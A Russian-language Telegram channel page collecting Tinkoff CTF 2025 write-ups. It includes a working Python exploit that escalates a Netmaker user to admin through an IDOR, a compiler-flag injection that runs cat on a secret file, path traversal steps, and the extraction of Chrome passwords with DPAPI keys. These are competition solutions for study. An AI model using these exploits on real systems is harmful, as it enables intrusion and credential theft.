решения задач по tinkoff CTF – Telegram
решения задач по tinkoff CTF
1.23K subscribers
29 photos
14 files
35 links
Здесь будут скидываться райтапы по заданиям по Tinkoff CTF.

Райтапы от других людей тоже приветствуются, по ним писать в ЛС: @EvgenyKurmysa
Download Telegram
9 часов вечера

Все райтапы по поводу T-CTF 2025 просьба традиционно скидывать мне в личку: @EvgenyKurmysa
Раз уж все задачи называются по типу "Капибада", "Капикойн" и т.д., то к райтапам просьба добавлять название таски с хэштегом В НАЧАЛЕ, вот так: #капипример
4😁1
солянка из райтапов
Forwarded from Dmitriy
TCTF 2025.zip
9.5 MB
> Все райтапы по поводу T-CTF 2025 просьба традиционно скидывать мне в личку

поделюсь архивом из obsidian (10 задач)
3
Forwarded from Dmitriy
Капибады
Капибаза
Капибарса
Капибегущая строка
Капиблеф
Капибокс
Капибонд
Капиботы
Капибьюти
Капипаркинг
1
Forwarded from Nik
#Капирайт

1. Достаем IP откуда скачивается видео у
[TCC].Capybarello.Cocosini.2025.Ita.CAMRip.x264.mkv.torrent

2. Затем nmap'ом сканим найденный IP.
3. Там открытый порт, на котором веб-страница для создания read-only пользователя в netmaker
4. Переходим по приложенной ссылке на панель netmaker'а.
5. Гуглим CVE по версии netmaker, находи IDOR, да приложенных сплоитов нет, но в гите можно было найти что изменилось.

Вот пример сплоита, который можно было написать:
import requests
import json

USERNAME = "kapipapi"
PASSWORD = "Kapipapi123!"
TARGET_URL = f"https://api.t-capyvpn-6pf96esn.spbctf.org/api/users/{USERNAME}"
AUTH_URL = "https://api.t-capyvpn-6pf96esn.spbctf.org/api/users/adm/authenticate"
OAUTH_TOKEN = ""

response = requests.post(AUTH_URL, json={"username": USERNAME, "password": PASSWORD})

OAUTH_TOKEN = response.json()["Response"]["AuthToken"]

headers_escalate = {
"Authorization": f"Bearer {OAUTH_TOKEN}",
"Content-Type": "application/json"
}

payload_escalate = {
"username": USERNAME,
"password": PASSWORD,
"isadmin": True
}

# Send PUT request
response = requests.put(
TARGET_URL,
headers=headers_escalate,
data=json.dumps(payload_escalate)
)

# Check response
if response.status_code == 200:
print("[+] Success! Admin privileges granted.")
print("Response:", response.json())
else:
print("[-] Exploit failed.")
print(f"Status Code: {response.status_code}")
print("Response:", response.text)


6. Перезаходим в панель, чтобы обновить куку. Вуаля и мы админ.
7. Создаем клиент для подключения по wg во внутрянку.
8. Там сканим уже существующего клиента, находим у него порт 8888, т.е. jupyter notebook
9. Прокидываем себе реверс шелл и из домашней папки скачиваем файл с изображением флага
🤯52
Forwarded from hazyfossa
#капибариста

1) Правила использования лежат на файлосервере, заменяем путь в url на /

2) В ./app удобно лежит исходник файлосервера, выясняем, что единственную проверку на побег из папки можно обойти путём вида /././../, что приведёт нас к реальному руту

3) Строка вида get('path', '').replace('//', '/') в исходниках намекает на винду, да и просто путём перебора папок в руте можно найти примонтированный диск C

4) В /mnt/c/Users находим пользователя capybarman, у которого из AppData для chrome находим сохранённые пароли (SQLite база) и encryption_key

5) Encryption_key сам зашифрован через Windows DPAPI, благо у нас есть неограниченный доступ к диску, вытаскиваем SAM, SECURITY и SYSTEM из Windows/config, Protect из ~/AppData/Roaming/Microsoft/Windows

6) Расшифровываем encryption_key, например через DataProtectionDecryptor от nirsoft или ручками

7) Расшифровываем ключом сохранённый в хроме пароль, вводим, получаем флаг
5
Forwarded from Its Ok!
Пейлоад на Капибассейн
1
Forwarded from Its Ok!
-D'main()=main(){system("cat new_secret.txt"); return 0;} int real_main()' -include stdio.h
🔥61
Forwarded from Борис Бескровный
#капибайкер
в исходниках комментируем перезапись pyc, чтобы наши модификации не перезатирались при запуске
открываем pyc в текстовом редакторе, видим поле, догадываемся, что ^<>V это изменение направления при достижении стены, f - финиш, # стены и проходы - пробелы, конструируем себе поле
запускаем игру и получаем флаг
2
Forwarded from Борис Бескровный
#капиботы
кажется, тут что-то ещё есть внизу?
идём в свойства рисунка и правда! нам показали не весь рисунок. меняем параметры обрезки и идём сдавать флаг
2💯1
Forwarded from Борис Бескровный
#капибьюти
начинаем сверху, да-да, карточки под буквами "САЛОН КАПИБЬЮТИ СПА" обозначают эти буквы, идём вниз и разгадываем, что было в купоне.
💯31
Forwarded from Борис Бескровный
#капибоксер
в инструментах разработчика находим обфусцированный код
воспользуемся деобфускатором https://obf-io.deobfuscate.io/, чтобы получить более-менее читабельный код
выполнив его в консоли браузера обнаружим, что это массив 53х53 из нулей и единиц
любым удобным способом попробуем получить из них картинку, которая при масшабировании становится qr-кодом
4👍2👎1💯1